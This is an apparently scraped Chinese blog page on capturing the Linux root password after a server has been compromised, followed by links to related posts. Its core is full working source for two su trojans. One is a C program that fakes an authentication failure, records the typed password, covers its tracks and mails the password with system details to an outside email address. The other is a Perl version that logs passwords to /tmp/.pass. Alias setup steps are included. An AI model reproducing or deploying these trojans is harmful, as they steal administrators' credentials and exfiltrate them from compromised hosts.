提权后获取linux root密码
- 提权后获取linux root密码
-
在webbackdoor本身是root(可能性小的可怜)或通过某漏洞溢出成功得到最高权限后,如果能获取root密码能给我们带来很多的好处。查询了一下前辈的方法,一个是欺骗su记录密码,另外一个是替换sshd,我们先看看欺骗su记录密码的代码吧!
先看第一种,kpr-fakesu.c V0.9beta167 fucksu.c
/* * kpr-fakesu.c V0.9beta167 ;P * by koper <koper@linuxmail.org> * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc * admin@host:~$ echo “alias su=/var/tmp/.su”>>.bash_profile * admin@host:~$ logout * *** LOGIN *** * admin@host:~$ su * Password: * su: Authentication failure * Sorry. * admin@host:~$ su * Password: * root@host:~# logout * admin@host:~$ cat /var/tmp/.pwds * root:dupcia17 * admin@host:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it “fit” * */
#include <stdio.h> #include <stdlib.h>
main(int argc, char *argv[]){
FILE *fp; char *user; char *pass; char filex[100]; char clean[100];
sprintf(filex,”/var/tmp/.pwds”); sprintf(clean,”rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile”); if(argc==1) user=”root”; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], “-l”)==0) user=argv[2]; else user=argv[1];}
fprintf(stdout,”Password: “); pass=getpass (“”); system(“sleep 3″); fprintf(stdout,”su: Authentication failurenSorry.n”);
if ((fp=fopen(filex,”w”)) != NULL) { fprintf(fp, “%s:%sn”, user, pass); fclose(fp); }
system(clean); system(“rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su”);
/* If you don’t want password in your e-mail uncomment this line: */
system(“uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mailkalikosta@hotmail.com”);
}
perl版本
perl版本: #!/usr/bin/perl
#################################################################################################### # kyle@freeshell.se 2006 su trojan check so the su path is correct. # # then make alias for trojan first it reads the pass then exec the real su. # # logging to /tmp/.pass # #################################################################################################### print “Password: “; $s1=<STDIN>; print “Sorry.n”; $s2=”Password is: “; $s3=`date +%Y-%m-%d`; open (users, “>>/tmp/.pass”) || die (“Could not open file. $!”); print users ($s2, $s1,$s3); close (users);
system(“/bin/su”)
提权后获取linux root密码的更多相关文章
- Linux提权后获取敏感信息的方法与途径
在本文开始之前,我想指出我不是专家.据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享(我的出发点).下面是一个混合的命令做同样的事情,在不同的地方,或只是一个不同的眼光来看待事物.我知道 ...
- 史上最全Linux提权后获取敏感信息方法
http://www.freebuf.com/articles/system/23993.html 在本文开始之前,我想指出我不是专家.据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享( ...
- LINUX提权后获取敏感信息之方法
文中的每行为一条命令,文中有的命令可能在你的主机上敲不出来,因为它可能是在其他版本的linux中所使用的命令. 列举关键点 (Linux)的提权是怎么一回事: 收集 – 枚举,枚举和一些更多的枚举. ...
- 三种找回 linux root密码
找回 linux root密码的三种方法 第1种方法: 1.在系统进入单用户状态,直接用passwd root去更改2.用安装光盘引导系统,进行linux rescue状态,将原来/分区挂接上来,作法 ...
- 三种找回 linux root密码的方法
找回 linux root密码的三种方法 第1种方法: 1.在系统进入单用户状态,直接用passwd root去更改2.用安装光盘引导系统,进行linux rescue状态,将原来/分区挂接上来,作法 ...
- Linux root密码忘记了怎么办?
一.找回root密码: 1. 开机出现 Booting Red Hat Enterprise Linux Client (…) in 3 seconds … 按任意键进入menu菜单: 2. 选择当前 ...
- 【转】CentOS6下安装mysql后,重置root密码方法
本文转自:CentOS6下安装mysql后,重置root密码方法 centos下安装mysql,居然不知道root用户密码,本想重装,不过还是先度娘了一些,发现这篇文章,刚好解决我的燃眉之急,太赞了. ...
- 忘记redhat linux root密码怎么办
自己VM虚拟机里安装redhat linux root密码忘了,刚开始想重新安装,但是后来想到还有linux有一个single模式,使用single可以直接进入字符界面,然后修改: 启动vm虚拟机,启 ...
- Linux Root密码忘记怎么办?用Vultr vps教程演示重置root密码
使用vultr免费提供的snapshots功能,可以轻松备份vps镜像,通常会碰到一个问题:恢复镜像后,vps的root密码失效了.正常情况下,root密码是镜像文件里的root密码,在某些情况下,由 ...
随机推荐
- 13.python中的字典
字典其实和之前的元祖和列表功能相似,都是用来储存一系列对象的.也就是一种可变容器,或者是我所比喻的革新派的菜单. 但也不是完全相同,我在之前曾经将字典称为特殊的'序列',是字典拥有序列的部分特性,但是 ...
- java 中 java.lang.ArrayIndexOutOfBoundsException: 0 异常
package test; public class Test { public static void main(String[] args) { final int num2 = Integer. ...
- Python脚本控制的WebDriver 常用操作 <十> 层级定位
下面将使用WebDriver来模拟操作一个层级定位元素的操作 测试用例场景 在实际的项目测试中,经常会有这样的需求:页面上有很多个属性基本相同的元素,现在需要具体定位到其中的一个.由于属性基本相当,所 ...
- sqlserver,sqlite,access数据库链接字符串
SqlServer:string connection = "server=32.1.1.48;database=数据库名;user=sa;password=sa2008"; ac ...
- SharePoint2013网站添加切换用户登录
不知道大家发现没,sharepoint2013的网站集下面没有了切换用户登陆这个选项卡,这对于我们有时候要做一些权限性的实验是不太方便的,今天我找到了一个办法解决,又实际应用了一下,感觉不错,特地来和 ...
- Java入门到精通——基础篇之面向对象
一.概述. Java属于面向对象的一种语言,因为Java是面向对象的语言所以这个语言的诞生需要有五个基本特性: 1)万物皆为对象. 2)程序是对象的集合. 3)每个对象都有自己的由其他对象所构成的存储 ...
- spring aop 使用xml方式的简单总结
spring aop的 xml的配置方式的简单实现: 1.编写自己的切面类:配置各个通知类型 /** * */ package com.lilin.maven.service.aop; import ...
- hdu 1718 Rank
题目连接 http://acm.hdu.edu.cn/showproblem.php?pid=1718 Rank Description Jackson wants to know his rank ...
- c++基础(一):数据类型和结构
1.map map<int, int> rankDict;//定义map rankDict[1] = 5; rankDict[2] = 6;//map赋值 int dictSize = r ...
- exception -----> Typedefs & Classes
#include <exception> Typedefs exception_ptr 一种类型,描述了一个指向异常的指针 terminate_handler 一种类型,描述了一个适合作为 ...